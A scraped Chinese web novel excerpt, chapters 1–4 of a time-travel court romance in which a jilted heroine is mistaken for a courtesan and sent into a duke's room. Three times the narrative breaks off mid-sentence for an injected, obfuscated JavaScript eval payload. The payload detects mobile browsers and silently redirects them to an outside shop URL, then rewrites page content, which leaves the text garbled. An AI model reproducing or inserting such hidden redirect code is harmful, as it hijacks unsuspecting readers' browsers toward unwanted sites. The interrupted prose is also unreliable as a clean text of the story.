《我攻略了情敌她爹》 1. 第 1 章 曲水嶙石,百花好景,园林中年方韶华的女孩子们比花朵更夺人眼目。 慕喻晚早想过今天会分外惹人注目,因此极力降低自己的存在感。 然而没用,其他女孩从团扇后射过来的目光,三三两两在她身边捂嘴的议论声,都暴露出今天她成了流言蜚语的中心。 “攀上国公府就是飞上枝头更进一步,更何况那慕喻晩并不比沈君念出众许多,来十个人都那么选,怪不了何怀瑾。” “慕子詹不过是六品中允,祖上也没有任何荫德,他这位女儿倒是以美貌在京中有不小的名声,如今一见果有那么几分姿色。” “有姿色有什么用?到底是家世差了太多。慕喻晚和国公府的这位县主闺中关系十分不错,几天前县主和慕喻晚的未婚夫无媒,咳咳咳,那个。我还想这不能吧?不过,慕喻晚这等家世,能来国公府做客应该还是照了县主的意思。” 慕喻晚忍无可忍,放下茶杯,抬眼望过去,说话的三个女生立刻互相使眼色溜走。 其中最后说话的那位,站在三人中间,她的衣着最为华丽精美,紫裙上绣着淡淡的金线,她的背影略显匆匆了些。 这人慕喻晚认识,过去和她也常在一起见面交谈,这人是左御史家中第三房太太所生的女儿,名唤左龄,家中排行十三。只不过,左龄能纡尊降贵和她一个寒门女儿来往,全因着沈君念的面子。 沈君念就是今天盂香会的发起人,国公府的嫡女,出生起就被封为县主。魏国公的祖父是随太祖能征善战的武将,大宛朝从太祖那辈起,沈家就以军功世代沿袭爵位,到魏国公沈秋珏身上是第三代。沈秋珏人称沈帅,到他身上,非但没有消弭了君子之泽,甚至戍边抗敌屡次有奇功,国公府的荣宠勋贵更甚于从前。 这就是沈君念的家世,她是这位沈帅唯一的孩子,是他亡妻留下的血脉,可想而知沈君念自然是位尊矜贵非同常人。 按理说,这么尊贵的世家子女和慕喻晚那是八竿子打不着,偏偏她们关系还挺好。慕喻晚记得,从她穿越到这个世界以来,沈君念是除了家人外最照顾最关心她的朋友,她们相差两岁情同姐妹。 慕喻晚本不是大宛朝的人,她之前是一个高考完开心过暑假的高中毕业生,在去拿录取通知书的途中发生车祸,再醒来就到了这个陌生的朝代,既来之则安之,她本来很想得开。 一穿过来她就知道自己有一个门当户对,品德容貌都为家人认可的未婚夫,未婚夫家和自己家还是世交,名叫何怀瑾,字子瑜。她于是明白自己穿成了谁。 这位未婚夫是大宛朝有名的能臣,历史上他开始科举不顺,三十岁后才得中榜眼,任豫州通判,后治水有功,调蓟州知州。何怀瑾最有名的事当属他一生未曾婚配,公认的原因是他定下婚约的未婚妻未过门便早死,他此后也没再娶。 慕喻晚穿过来后,小心规避着可能出现意外的事件,不骑马不倚危楼不靠近水边,还积极锻炼身体,为的就是防发生意外一命呜呼。除此之外,她便安心等着嫁人,反正也回不去,不如把自己的日子过好。 这一等,就等了快三年,还有三个月她都要过十八岁生辰了。开始是何怀瑾的仕途不顺,屡试不第,后来是她爹去世,商量好的婚期一拖再拖,直到她快十八岁了也没嫁人,逢人问起家中人不知如何作答。 直到前几天,出了一件惊动京城的事,有官家女子到城郊拜佛烧香,在寺庙里撞见子瑜和沈君念的奸情,惊慌失措之下这件事也瞒不住,三天之内传遍整个京城的府邸。 慕喻晚这才知道,为何从前沈君念主动和她来往,沈君念对于其他相同出身的女子瞧都瞧不上却愿意和她交往游玩,仔细想想,沈君念出现在她身边的大多时刻,都是慕喻晚好不容易有机会和何子瑜交谈的时候。 她的记忆里,历史上何子瑜确实只有一位未过门便去世的未婚妻啊?难道本就有这一场风波,只是后人并没有记下这件事? “慕姐姐,你怎么不过去和她们一起玩?”有年纪较小的女孩突然冒出个头,用稚气未脱的语气问。 石渠中人中挖凿的曲水淙淙,旁边站着许多今日到访的女子,她们有的折纸船放置水中,有的嬉笑打闹。 慕喻晚余光扫到有两个人走近,一白一黄,于是转过头回答:“慕姐姐这会儿有点事,你先去玩,我等会儿就来。” 小女孩不解,但是更馋玩水,于是点头后小跑去小溪边了。 这时候,那一黄一白的男女走到她身边,沈君念走在前面,何怀瑾缓步跟在她后头,慕喻晚从席位上起身准备逃走。 “喻晚,等一下,”沈君念先发制人叫住了她,看到她停住了脚步,继续道:“我最近收到几件父亲寄过来的珍奇物件儿,挑了几件你会喜欢的,等下散席后我派人送去。” 慕喻晚看了眼站在一旁的何怀瑾,他眼神似有躲闪,既如此,慕喻晚也不想失了体面,她勾唇回答:“不必了,县主的珍宝收藏,不敢夺人所爱,再说礼物太贵重我恐怕也受不起。” 她说话间看着沈君念,神情坦荡无惧,倒是沈君念愣了一下。 沈君念身着鹅黄色的瑞鹤广袖纱裙,钗子上的流苏摇落到颈部,容颜身段透出一股娇媚,她语气似有不满:“姐姐可是生了我的气?” 即使沈君念未出阁前便闹出无媒苟合之事,又是和有婚约的男子,但是她毕竟身份尊贵,这两年一个人待在偌大的国公府也无法无天惯了,即使刚开始对慕喻晚心存愧疚,但这点愧疚在她呼风唤雨恣意妄为的十五年人生里也只能算浮光掠影。 慕喻晚知道沈君念是个不许旁人忤逆她的性格,有错也是你错,也不好过多置气,反倒是气坏了自己。 她道:“县主请勿多想,我来参加盂香会便可知并未将流言蜚语放于心上。” 说完,她默默颔首,不再言语。 这时碰巧一群姐妹过来休息,这一群人看到慕喻晚、沈和何三个人,顿时眼睛都亮了,假装在旁边斟茶吃果子,有的甚至躲在巨石后头,就为了听清楚这三个人说了什么。 慕喻晚本不想和沈君念再有什么交集,今天来这里也是形势所迫,今天的盂香会是沈君念以国公府的名义宴请的,她亲哥还在魏国公帐中任千总,她怎能凭自己一时意气置慕家的命运和亲人的前途于不顾?但是她丝毫不想惹上什么风波和注目,出门前只草草梳妆了一番,挑了件没什么花纹的淡蓝色旧款裙子。 其他人的谈话飘进她的耳朵。 不知是谁小声说了一句:“这样看,慕喻晚和沈县主相差不多,慕喻晚只是多了点气质,但是沈县主模样更撩人,性子更活泼,我是男人也会喜欢县主这一款。” 慕喻晚抬眼看沈君念,沈君念并未有什么意见相反还有得意之色。 “我是女人,我也喜欢沈县主这样的,有趣多了,慕喻晚就有点……有点温吞!对,就是温吞!” 想必是见沈君念不说话制止,这些人更加变本加厉了。 “你懂什么?男人哪会只喜欢一个类型的?何怀瑾家世差了点,如果他家世好些,纳个妾也不会有人说什么。” 慕喻晚扫了眼何怀瑾,他欲站出来和她解释这所有的事,但是这时候沈君念给了个眼风给他,何怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633241|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾踟躇一下退了回去。 “妾?那必然是慕家那个做妾了,只怕是县主当了主母不能容忍他纳妾哦。” “也对,魏国公就是有名的美男子却没听过什么风流传闻,找女婿肯定不可能选个会纳妾的。” 慕喻晚不太听得下去了,她心里有点闷,有些烦躁,忍不住开口道:“县主行事不顾及世俗,也不在意他人言语,喻晚佩服。” “那当然。”沈君念脱口而出,对于夸奖她来者不拒,但是马上就明白了慕喻晚这是话中有话,于是脸上浮现一层愠色,“我本来还想着,在父亲面前提几句慕夏,也算我们这些年的情分,这经你一提醒,为防他人多言,想必是不用了。” 听她提起哥哥的名字,慕喻晚心中一紧。哥哥于文章上不怎么通才去谋求的军职,如今是个千总但是进退生死全在魏国公弹指之间。 何怀瑾终于说话了,他劝道:“县主,我看慕姑娘未必有什么别的意思,你不要太在意。” 沈君念对于何怀瑾在人面前叫她“县主”十分不满,但是何怀瑾毕竟也生疏地喊了声“慕姑娘”,沈君念瞪了他一眼,也没有再多说什么。 慕喻晚敛容,对沈君念道:“县主,我与何家的婚约是上一辈定下的,于我本人而言并不十分重要,如果县主执意要求得这么一桩姻缘,我也无话可说。他日,我慕家必定登门拜访,将与何家的婚约退掉,两家过去的交情照旧,只是我与何公子无缘。” 说完,欠了欠身,在众人的安静沉寂中道了声:“我去东兰亭看看兰花,诸位请便。” 慕喻晚走后,其他人瞄着县主的脸色不敢说话,沈君念脸上一阵铁青。 何怀瑾面上有些尴尬,望着慕喻晚的方向沉思。 慕喻晚说去看兰花,但其实偌大的国公府没有人带路,她穿过石林都很艰难,石林是怪石摆成的园景,里头的路像是迷宫,好不容易走出来却发现眼前是一条石子小路,走过曲径通幽,眼前是一处僻静陌生的厢房。 四个穿着铠甲的士兵手执长枪,树立在厢房前头,分站两列,眼神都没有往她这里瞟上一眼。 这还是慕喻晚第一次看到真实的武器与铠甲,一种肃杀的气氛把她吓得僵在原地。 一个锦衣男子腰间玉佩敲得叮当响,踱步到了她跟前。 慕喻晚看人面善,可能是魏国公家中的男子,沈君念的某个哥哥吧,想着问问他怎么走回去,对方不至于为难她一个小女子。 慕喻晚谨慎问:“公子,这里……” 一瞬间,锦衣男子眉宇间浮起戾气,厉声打断了她的话:“还不进门?还要我八抬大轿抬你进去?!” 慕喻晚吓得瑟缩了一下,赶紧抬脚往门口走,一步三回头,那男子停在原地盯着她。 她心里在打鼓,看着紧闭的房门觉得可能不太妙,还是讲清楚比较好,结果才一转身,锦衣男子手一抬,门口的卫士长枪落下横亘在她身前挡住回路。 锦衣男看她犹犹豫豫的,有些烦躁,走近与她相隔刀兵:“不懂规矩!罢了,现在再去找一个也费事。仔细记着,里头的人现在正虚弱,正是最需要关怀的时候,你懂我的意思了吧?” 原来如此,慕喻晚明白了,里头有个病人,看起来是这位锦衣男很重要的人,也许刚好找了个丫鬟照顾,这是把她当丫鬟了。 她咬咬牙,转身进了屋。 锦衣男看她听了话,哼了声,“这明月楼李妈妈调教出来的瘦马,怎么至于如此?也罢,说不准沈秋珏就喜欢这款。” 说完,他叫守卫将门关上,从外面锁了,这才放心地走了。 2. 第 2 章 慕喻晚走进房门,绕过屏风,屋内飘来一股奇异的暖香,香味熏得骨头都酥了。 慕喻晚定了定神,屋内的陈设典雅华丽,一个披散着长发的男子坐在圆桌旁。他穿着一袭黑色绣着祥云金线的衣袍,衣袍宽大遮住了身下的椅子,他一只手撑着额头,墨发垂下挡住了他半边脸,慕喻晚这个角度能看到他的下颌和薄唇。 即使没看见他的脸,但是这个人的气场依然不容小觑,他看起来不是很舒服。奇怪,人不舒服的时候还熏这种香,那不是更让人难受? 男人维持着姿势,转过头,锐利的目光射过来,审视着她。 慕喻晚从来没有被人一看,就觉得脚底灌铅、心生寒意的。这倒不是男子的形貌奇特或者丑陋,相反他非常好看,下颌线优越,鼻骨高挺,一双剑眉更增添了他的气场,放在哪里都称得上美男子了。 只是这个人的气质,难以形容,很冷,有些阴郁的那种冷,和他身上的黑色衣袍相得益彰。 慕喻晚想到了一个词,峻鸷英气,这四个字却是非常贴切。 她脸都吓白了,想来这是国公府的什么贵客,自己可惹不起,而且看这人目前身体抱恙,万一出了什么幺蛾子,这房间只有她在场那岂不是有口难辩? 慕喻晚福身,张了张嘴什么都说不出来,她抿唇,这礼数也不需要顾得许多,眼睛都不敢直视男子便道:“公子,妾身莽撞了,妾身这就去叫人来。” 慕喻晚立即转身,快步绕过屏风去推门,结果门居然被从外头锁上了。 这叫什么事? 慕喻晚只好回到屏风后头,打算寻求帮助。那男子的表情这才有了微微的变化,他头依然低垂着,撑着额头的手放下来闲搭在玉石桌面,他看她的表情像是在看戏班拙劣的表演。 “大人,门锁了。” 黑衣男人“嗯”了一声,“想必是晋王关的,今天外头莲池那边吵闹。” 晋王?不会是当今的皇室亲王之一的那个晋王吧?想来其他人也不敢叫这个称号了…… 黑衣男显然非富即贵,他看着模样很冷淡,结果开口倒是说了一句完整的话,也没有什么不耐烦嫌恶的神情,风度如此不至于为难一个弱女子,慕喻晚微微放了心。 这时候屋中沉默片刻,黑衣男一直审视她,她不由得微微低下头。 男人嗤了一声,“这回送来的这个倒是不错。” 因为他说话间拈起一颗水晶盘里的葡萄,那颗葡萄鲜艳饱满,所以慕喻晚觉得他说的是葡萄,这葡萄一看就不是寻常人家能见到的品种,慕喻晚也跟着赞同道:“是不错。” 闻声,男人目光又移向她,脸色带了笑意。 慕喻晚不敢确定,这就哄开心了?那能放她出去了? 结果下一刻,男人朝她勾勾手,示意她走近点,慕喻晚只好顺从。 慕喻晚在他面前站定,两人之间还有一步路的距离,结果男人觑了她一眼道:“胆子这么小,会伺候人吗?” 慕喻晚下意识点头,听清这句话,瞬间瞪大眼睛,什么伺候人?她立马又摇头,摇得和拨浪鼓似的,脸上一片绯红。 黑衣男笑出了声,带着点玩趣。 男人又让她走近一点,接着长臂一揽,将她按入怀中,手掌稍稍用力迫使她坐在他腿上,他右手拿着那颗葡萄贴到她唇边,慕喻晚唇角感到些许冰凉。 慕喻晚感到身后宽阔的胸膛传来一片火热,她身子尽力前倾直坐,对方仍然不住地碰触她,她咬唇,急出了眼泪。 “爷今天心念动了,是你的功劳,吃吧,从冰窖拿出来不久。” 难怪这么冰! 男人的鼻息传到她的颈部肌肤,激得她一缩脖子,慕喻晚听到他略带诱惑的低沉嗓音想站起来但是双腿无力。 大宛朝重视女子名节,她又不是魏国公女儿沈君念那般地位,这要是被人知道了,她不用做人了,慕家也会因此蒙羞。 慕喻晚焦急,出声抗阻道:“爷,妾身是良家,不是明月楼养出来的瘦马,万不可如此轻薄,妾身失了名节只好一死了。” 男人动作一滞,捏住她的下巴,迫使她抬头面对自己,这个距离慕喻晚很怕他做出什么浪荡行径。 “都被人送到我房里,还说什么良家?爷十几年没碰女人,今天是破了例,你不想趁此留下?”男人的声音多了些嘲弄。 慕喻晚听出他的意思,多少女人想攀上他跃上枝头,这机会别人求还没有,劝她不要想不开。 慕喻晚咬唇,“妾身只是走错路,误闯进来的。” 男人看了眼她表情,松开手,微沉了脸,“也罢,你既不愿意,我也不是那强人所难的主。” 慕喻晚心中一喜,这是放她离开?这么简单? 她起身站定,等着男子的吩咐,结果他转头质问:“还不滚?” 慕喻晚咬牙,想不与他计较,提醒他:“大爷,方才妾身看门锁着。” “从后门走。”男子的眼神示意她靠床右侧的方向。 原来还有后门。慕喻晚立马走去,结果被他叫住,她艰难转身,尊敬地问他还有什么吩咐。 “等会去账房支一百两银子,就当爷怜惜你的。” 慕喻晚知道他还是把她当作了调教出来的良妓,心中恨不得对他拳打脚踢,然而此时不想再徒生风波,连忙装作感恩戴德,一副获了赏赐惊喜不已的情状,趁男人彻底不耐烦前赶紧脚底抹油溜走了。 后门出去是一处亭子,周围点缀种着兰花,亭子东西面是一方池塘,池塘上有睡莲。饶是慕喻晚再不认识路,也知道这就到了东兰亭。她一个人去往亭子里静静坐着,抚平心中的慌乱。 还好,对方并不知道她的姓名与来历,事后只觉得遇到个不懂事的雏妓不做他想,此事便也翻篇了,没有人会提起。然而,她心中还是不定。 “慕喻晚,你望着池塘想什么呢?我来了你都不知道。”一声尖锐犀利的嗓音将她从沉思中惊醒。 也许是慕喻晚一副吓得慌了神的模样,左龄露出觉得蹊跷的神色,她再次盯着慕喻晚的脸,“想什么呢?不知道的还以为你在这里偷人。” 慕喻晚知道左龄一向对她看不起,此时口无遮拦也算不得什么,开口道:“没想什么。” 左龄见她此刻神色如常,不疑有他,道:“何家公子我看你是不消想了,既然他和君念县主的事人尽皆知,他必然是这座府邸的女婿了。” 左龄的眼神中透出羡慕之色,恨不得她能和国公府结成姻亲就好。慕喻晚倒也不怪,左龄的父亲虽然是御史,但是左龄是庶出而且排行倒数第二,她下头一个弟弟上头五个哥哥七个姐姐,左家还有旁系,左龄在家中不受重视是可以想见的。 “你来这里干什么?”慕喻晚问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633242|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左龄翻了个白眼,回道:“县主叫我来问你留不留下来吃晚宴。” 慕喻晚心情不好,在这国公府里她没遇到什么好事,没好气说了句:“不去。” 慕喻晚一直胆小怕事,出身低微不敢得罪人,左龄默认慕喻晚是跟在她们后头的跟班,只比丫鬟高一级,没想过她会忤逆自己甚至沈君念。但毕竟刚刚发生了未婚夫弃她于不顾的事,眼下又只有她们两个人,慕喻晚这个态度情有可原。 “真不去?说沈家家主回京了,现在在宫里述职,也许傍晚会回府。今晚这个宴他也会在场,邀请了许多京城贵胄呢。”左龄看起来十分期待。 慕喻晚想,什么贵胄,不过都是群目中无人的纨绔,她才不稀罕。 “要去你自己去,我眼下太过疲乏,还是回去歇着比较好。”慕喻晚绕过左龄,直接前往莲池去和主人家说清楚。 没走几步,她又折返,和声和气问左龄:“我们一起回去,留你一个人在这里怪不放心的。” 好吧,其实是她不知道路,万一又迷路了撞上什么人,她可不想再经历刚刚那样的事了。 左龄刚刚看她不知好歹地走了,本来在后面破口大骂,这下抬手不打笑脸人骂不出来了,嘴上嘟囔一句:“怕老虎给你吃了啊,谁不知道国公府就沈君念一个主人,今天盂香会,下人都被命令不出门。” 慕喻晚紧跟她的脚步,心里在盘思她的话语,她以前也认为国公府平常就沈君念一个主家居住。沈君念十四岁前养在宫里,之后宫里府邸两头跑,以在府邸居多,这也是京城女儿家都羡慕她的原因,偌大的家业只供她一人取用,自由自在。沈君念平常也会邀请闺阁密友来家中玩乐,如果举办大的宴饮,为防下人打搅总是只留几个端茶滴水的丫鬟小厮,吩咐其他人不要出来。 那么她刚才看到的那个男子是谁呢?看起来也不似寻常人,举止之间气势冷厉,就是实在是个浪荡子…… 慕喻晚想到这里脸红了下,左龄奇怪地看了她一眼,慕喻晚连忙用手挡住阳光:“日头太晒了。” 左龄羡慕地看了眼她细腻白皙的肌肤,没说话。 在门外指使她进门的那个锦衣男子,又是谁?他穿的可是一身深紫色的绸缎,结合黑衣浪荡子的话,莫非锦衣男子就是晋王?晋王是给什么人送女人过去,这两个人关系一定不差。 慕喻晚装作不经意地问了一句,“龄儿,我也不是不想去赴宴,我就是觉得,国公爷长年驻守边塞,他怎么能突然回京?莫不是你和沈县主做了什么局,用沈公爷也会赴宴这种瞎话诓骗人,好捉弄我。” 左龄气急败坏,“你不相信,你有本事自己进宫,沈帅打了胜仗回京,清晨就到了京城,此刻在和万岁爷述职。县主,咳咳,也是刚刚知道的,还在准备。” 慕喻晚这下确定了,魏国公尚在宫里,所幸,方才的浪荡子不是他,要不然她真没脸见人了。 至于左龄咳嗽一声,大概是说沈君念怕自己的丑闻被亲爹知道,到时候沈家主回府不定怎么收拾她呢。 慕喻晚雀跃道:“是吗?那今晚赴宴我还可以长长世面,是真的那倒是不错。” 左龄翻白眼:“当然是真的。” 应该不是同一个人,没什么好害怕的。 她们回到莲池,慕喻晚神色如常,沈君念过来问她关于晚宴的问题,慕喻晚欣然答复会留下。 3. 第 3 章 夜灯点亮,宾客交织,国公府的夜晚人声喧闹。 慕喻晩看了眼天上的星星,它们围绕着月亮也努力散发自己的光芒。 晚宴在西池边举行,主人家提前进行了洒扫布置。下午参加盂香会的女客留下了一小撮,这些留下的几乎全是身份显贵的世家或宗亲女子。除此之外,赴晚宴的客人都是沈公爷邀请的亲友与部下,这些人里不乏有下午那一批参加盂香会留下的宾客的长辈亲属。 慕喻晩下午换了身衣裳,她来得较早,结果沈君念忙着招呼客人落座没空管她,慕喻晩在四下找空着的席位,她自觉只在最末的位置寻找。主位是四张四方竹席拼成的坐席,下面由木板垫高,坐席四周有四根梁柱顶起上头一个半球伞盖,伞盖上刷有红漆黑纹大小足以覆盖整个坐席,伞盖以及前面两根梁柱上挂有帷幔,那帷幔是烟紫色的,薄的像雾又层层叠叠。 慕喻晩只顾盯着帷幔出神,她喜欢好看的布料,虽然慕家与寻常百姓比不能算拮据,但是要说能消费得起高档丝绸布皮那还是差得太远。所以,她喜欢看别人身上的衣服,这帷幔的轻薄与飘逸是她从未见过的。 这种对轻纱的欣赏停在了主人入场的一刻。众人簇拥着一个黑衣华服男子进入帷幔之下,慕喻晩不敢置信地揉揉眼睛。 她先看到了他的脸,由于他身形高大周遭的人挡不住,所以慕喻晩极其轻易就认出来,这是白天在那间厢房里的黑衣男! 他正低头和旁边的男子说话,脸上有兴师问罪的表情,一脸不大高兴。而他身边的那个男子,虽然被挡住了脸,但是身上的锦衣透露出这位就是迫使她进房间,把她当作明月楼瘦马的那个人。 慕喻晩心道真是人生何处不相逢,惹不起我躲得起!她甚至有预感,台上的两人谈话间就是在说白天那事! 她转身就走,来不及顾及礼数了,大不了回家就装病说自己突感不适只好离场! 结果身后传来急切的声音:“慕姐姐!你去哪儿!” 慕喻晩咬牙切齿,沈君念真是生怕她太舒坦了,每每总要给她添点堵。 她回头,尽量把头低着,下巴要戳着胸脯了,“县主,我头疼发作,可能是吹了凉风,只怕要遗憾离场了,实在抱歉。” 因为之前她叫慕喻晩实在太大声,声音穿过了整个会场,于是连同主位上的人,很多人的目光都不自觉投向这里。 沈君念安置宾客游刃有余,显然也不会被慕喻晩这个理由所击退,她轻笑:“慕姐姐倘若有什么不适的,不如叫府上的大夫看看,我想你回去也未必请的到能与府上名医相当的医者。” “这恐有劳烦,我于心不安。” “怎么会?只是请个大夫来而已,你太小看国公府了。” 慕喻晩绞尽脑汁继续想理由,台上的人已经注意到这边,主人派了下人过来询问:“小姐,老爷说您好友请她坐上座。” 魏国公挺重视自己的女儿的,也难怪,毕竟自己唯一的孩子。就是,不知道对方清不清楚沈君念和她的关系? 沈君念面上隐隐有骄矜之色,做了个手势请慕喻晩到前头去,慕喻晩只能亦步亦趋跟着她。 谁成想,沈君念穿过桌椅席位,径直走到了主位面前,慕喻晩隔着一定距离踟蹰不前。 慕喻晩低着头,思索要不直接假装落水,假如从这池子里跳下去怎么样。 台上传来熟悉、威严又沉稳的嗓音:“待客岂能无礼?这位是你的闺友吧?她想回府,派人准备车马送她,万不可怠慢。女郎家中长辈可有人也在此赴宴,理当照顾才是。” 这话是把她当作被邀请的贵客了,许是沈公爷从没见过自己这位沈君念的所谓闺中密友,出言是在问她的家世和来历。 慕喻晚察觉到台上的人,黑眼睛一直盯着她,她只能把头低的更狠,祈祷他不要认出来。白天她穿的是淡蓝色的衣裳,这会儿换成粉色的了,头饰发髻也另外打理搭配过,从这些上看不出端倪。 主人身旁的锦衣男“咦”了一声,状似奇怪,甚至上前一小步仔细探看,要不是因为怕冒犯和不合礼数他只怕是凑到慕喻晚的跟前来看了。 方才沈帅问话,慕喻晚一直沉默着,虽然她是因为心里慌张害怕说不出来,但是台下看客可就不这么认为了。 这可是在国公府,又是权势风头在朝中一时无两的魏国公,谁敢拂了他的意思?平常不去与他主动攀谈,只是因为魏国公实在气场强大不喜与人交往,可如果是魏国公主动和他们说话那就不同了。虽然慕喻晚只是面对问话不回答,但因为其他官员宾客能和沈公爷说上话恨不能搜肠刮肚极尽舌莲,就连奉承的句子短了些恐怕都会显得太突兀,这就让她这个行为足以使得其他人愤愤不平。 主人抬眼,目光更寒,“我是老虎吗?” 慕喻晚手心捏了点汗,压迫感让她差点不由自主地抬头,还好忍住了。平常心说,如果是本国有这么一位坐镇的将帅,光是举止气场就能吓退宵小敌众,没有人不会认为是国之大幸的。可现在,直面这种气势的是她自己,这就很让人吃不消了。 其他宾客变得更安静了,有人在心中感叹真不愧是战场上刚下来的。 沈君念瞥了眼慕喻晚鹌鹑似的样子,想她可没有那个胆子对自己爹不敬,“呀”了一声,面不改骄矜地道:“爹,她是慕子詹家的,文官的女儿不比咱们拿刀枪的武官家里,胆子小。” “住嘴!” 沈秋珏斥了她一声,一道眼光过去沈君念噤若寒蝉。 沈君念立马意识到自己说错话,补救道:“很多文人的气节骨气不比我们武将差,蔺相如完璧归赵何等气度。” 沈秋珏这才缓和了一点脸色,这个沈君念一向缺乏管教但所幸懂得观察应变。 慕喻晚偷偷用余光觑了眼台上,什么都没瞧着。沈秋珏方才明显盛怒,是怪沈君念口无遮拦,这话直接得罪了慕喻晚事小,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633243|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是台下宾客里不乏文官得罪了他们那可就事大了。要不是沈君念脑子算灵通的,这句话传出去就是个污点甚至能是罪证。 慕喻晚觉得周边看客知道她的家世后,此刻说不定都抱着看好戏的态度。 她不知道的是,因为沈君念和何怀瑾干的丑事,她和沈县主因为一个男人勾心斗角争执不休的故事演变了八个版本,已经在京城官宦人家、宗族子弟中传开了,即使是上了年纪的长辈也能听闻一二。现在,不少客人心中想的是,这沈秋珏为了自家闺女出气,分明不惜自降格局去为难一个姑娘。 还有几个知情的人,去往人群中找寻那位传闻中何公子及其家人的身影,然而并没有看到。 沈秋珏道:“原来是慕中允家的女儿,那就是慕夏的妹妹了。怪道是息女闺友。” 沈君念神采飞扬:“我这位朋友抚琴是一绝,刚好我也精于此道,不如我和她一同演奏,为今日欢宴助乐。” 慕喻晚心道救命,摊上这对父女她总是被欺,她哪会抚琴?不过幼时胡乱跟着师父扒拉过琴弦几年,但是远远到不了“一绝”的地步,甚至当初请来的老师说的最多的也只是“陶冶情操即可”,没有在此道投予过多指望。 但是沈君念喜欢抚琴她是知道的,请过京城中名师轮流教课,宫廷中的乐师也有过不少指点,据说是足可以当一方乐师的水准,这也是她在同龄人中津津乐道的绝艺。 一个不入流的外门汉,和一个从没放弃过钻研的乐师,一起抚琴那将会是灾难。 然而众人已经欢呼雀跃起来,不少人叫道“好!” “今天的宴会百戏舞乐尚未进行,县主先弹奏一曲,以此作引再好不过了。” 慕喻晚抿唇,好个鬼! “早就听闻县主抚琴堪比宫中琴师,技艺纯熟,怎可不听!” “就是就是,谁有这福气听得到县主弹奏乐曲的,要我说,这是我上辈子修来的福分。” 慕喻晚觉得这很离谱。 她怕沈国公立刻答应,赶紧抢先道:“奴怎敢以才疏学浅之资,在县主面前班门弄斧?县主的琴技了得,仙乐不可掺杂凡音,何况我许久不抚琴有些生疏,如果作出呕哑嘲哳之听,岂不是害了县主一片苦心?” 她说了这么长串的话,也是今晚她在沈秋珏面前首开金口,说完之后等待他的反应,时间漫长得有一瞬间她觉得这个人仿佛从她的声音认出她来了。 沈国公声音缓缓:“息女独自抚琴,也能为宾客助乐。你既然敬谢不敏,言语恳切,又为何不敢抬头示人?” 其实慕喻晚的姿态,许多人都觉得奇怪,有人私语道她是小家子气。 既然如此,慕喻晚把心一横,直直抬头,面视主人。 锦衣男一拍脑袋:“哎呀!” 沈秋珏锐利的视线一直盯着她没离开过,直到她抬头,他眼眶微微睁大,他突然轻轻咳嗽了一声。 这不巧了吗。 4. 第 4 章 慕喻晚看到沈秋珏的脸,依旧是那么严峻阴鸷,只是这回多了点不自在的神情。 沈秋珏转头和锦衣男对视一眼,意思很明显,他们白天认错的姑娘是沈君念的朋友、朝中官员的女儿,实在是令人难堪。 锦衣男子觉得,把清白人家的姑娘送男人房里,实属造孽,而且这人还是官宦人家的闺女,这让他不能不为此心虚歉疚,要是真发生了点什么那实在是良心难安。沈秋珏看向锦衣男的眼神多了责怪之色,但是到底这次他自己也动了念想对人做点什么,那么他也是有错的。 慕喻晚这下确定了,那站在沈秋珏旁边的锦衣男,他就是晋王。这国公府,除了她,往来者非富即贵,这让她有点更加难安。 底下的其他人你看看我,我看看你,许多人都意识到气氛不对,就算没意识到的人也能看出沈国公的一言不发必有原委。 沈君念傲视之色更显,她以为沈秋珏听说了她与人无媒私会肯定大为光火,结果还不是只能宠着她?这不,就给人脸色看了。慕喻晚什么层次也来和她抢东西?她看上的东西,那自然就是她的! 慕喻晚只看了沈秋珏一眼,便垂敛目光,静默站立不语。沈秋珏似乎很有默契一般,也不看她,偏转头看向沈君念,问道:“这是你的朋友?什么时候认识的?” 沈君念满不在乎道:“哦,我没跟爹爹提起过,爹爹当然不知道了,认识很久了。” 这话配上县主稚嫩骄矜的脸色,让其他在场的宾客不由自主去看慕喻晚是什么反应。无他,不过是话中意思表达得太清楚,县主其他来往过密的朋友沈帅都知道,因为县主会跟他说起其他朋友,但是这个慕喻晚她是一次不提。县主不知道是习以为常地不在乎慕喻晚的感受,还是觉得得罪“这位朋友”也根本无所谓。 慕喻晚眸色如常,双手交叠放在腹部,未见出有什么反应。 晋王突然扼腕一般,嗟叹道:“可惜可惜!” 慕喻晚莫名其妙,但还是礼貌站着不说话。 众人不明所以,不知道他在可惜什么,然而有些在官场浮沉久了的官员了然。这位晋王是当今天子的兄弟,并非一母同胞,然而是先帝爷四个皇子中唯一锦衣玉食活到了而立之年的,主要靠的就是他那冠绝古今的纨绔风流传闻。人世间,男子一掷千金为花魁赎身、冲冠一怒为红颜的事不少,但是反过来的那可很少见,这个晋王就是一位。 